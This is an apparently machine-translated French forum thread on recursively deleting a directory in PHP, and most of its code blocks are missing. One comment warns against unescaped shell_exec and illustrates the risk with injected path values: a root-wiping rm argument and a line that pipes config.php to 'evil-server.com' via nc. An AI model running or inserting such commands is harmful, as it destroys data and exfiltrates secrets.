Un appel récursif à supprimer le répertoire de la fonction de PHP?
J'utilise PHP pour déplacer le contenu d'un sous-dossier images
GalleryName/images/
dans un autre dossier. Après le déménagement, j'ai besoin de supprimer le GalleryName répertoire et tout le reste à l'intérieur, il.
Je sais que rmdir()
ne fonctionnent pas si le répertoire est vide. J'ai passé tout en essayant de construire une fonction récursive scandir()
en commençant par le haut puis unlink()
si c'est un fichier et scandir()
si c'est un répertoire, puis rmdir()
chaque répertoire vide que je vais.
Jusqu'à présent, il ne fonctionne pas exactement droit, et j'ai commencé à penser -- n'est-ce pas un ridiculement simple fonction PHP devrait être capable de faire? Suppression d'un répertoire?
Donc, il y a quelque chose que je suis absent? Ou est-il au moins une fonction éprouvée que les gens utilisent pour cette action?
Toute aide serait appréciée.
PS j'ai confiance en vous tous, ici plus que les commentaires sur les php.net site -- il y a des centaines de fonctions, mais je suis intéressé à entendre si l'un de vous recommander l'un sur les autres.
- Avez-vous envisagé de shell_exec() fonction avec un "rm -fr"? Pas la meilleure approche, mais si vous maintenant ce que vous faites, il fonctionne très bien.
- très dangereux, mais si vous devez utiliser le shell et le chemin réel des fonctions
Vous devez vous connecter pour publier un commentaire.
Quoi à ce sujet?
$path->isFile() ? unlink($path->getPathname()) : rmdir($path->getPathname());
devrait être$path->isDir() ? rmdir($path->getPathname()) : unlink($path->getPathname());
donc les liens sont traitées.C'est la fonction récursive j'ai créés/modifiés et que, finalement, semble être au travail. J'espère qu'il n'est pas quelque chose de trop dangereux en elle.
Si le serveur d'application s'exécute linux, il suffit d'utiliser la shell_exec() de la fonction, et de lui donner la rm-R de la commande, comme ceci:
Explication:
Supprime le répertoire spécifié de manière récursive seulement si le chemin existe et s'échappe du chemin de sorte qu'il ne peut être utilisé comme une coquille argument pour éviter de shell de commande d'injection.
Si vous ne devriez pas utiliser
escapeshellarg
on pourrait exécuter des commandes en donnant le nom du répertoire à supprimer après une commande.$dir_path
vient de, vous pourriez présenter un très gros problème de sécurité. Supposons que, j'ai en quelque sorte mis$dir_path = "-F --no-preserve-root /";
ou peut-être juste$dir_path = "; cat config/config.php | nc evil-server.com 80 ;";
bien, les possibilités sont infinies.J'ai adapté une fonction qui gère caché des fichiers unix avec le point de préfixe et utilise glob:
Il y a un autre thread avec plus d'exemples ici:
Comment puis-je supprimer récursivement un répertoire et tout son contenu (fichiers + les sous répertoires) en PHP?
Si vous utilisez Yii, alors vous pouvez le laisser pour le cadre:
Je préfère une amélioration de la méthode de la dérivée de la php pages d'aide http://php.net/manual/en/function.rmdir.php#115598
raisons de ma décision: